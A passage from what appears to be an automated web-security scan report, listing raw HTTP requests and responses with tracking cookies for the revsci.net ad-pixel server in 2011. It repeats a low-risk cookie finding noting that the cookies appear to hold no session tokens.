rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCl+CTSaM1VkRla8I=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:03 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e6497&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:03 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:02 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/118073152.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzk/cnfwRV+8er9duzVms/EZMc; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:50 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e648a&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:50 GMT; Path=/ X-Proc-ms: 2 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:50 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/123757995.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LClyETCWI0VkREa9s=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:15 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e64a3&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:15 GMT; Path=/ X-Proc-ms: 2 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:14 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/128688612.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVIxEbUkvQSU+Mer9duzVms+/pMu; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:21 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b1&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:21 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:21 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/129048156.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UT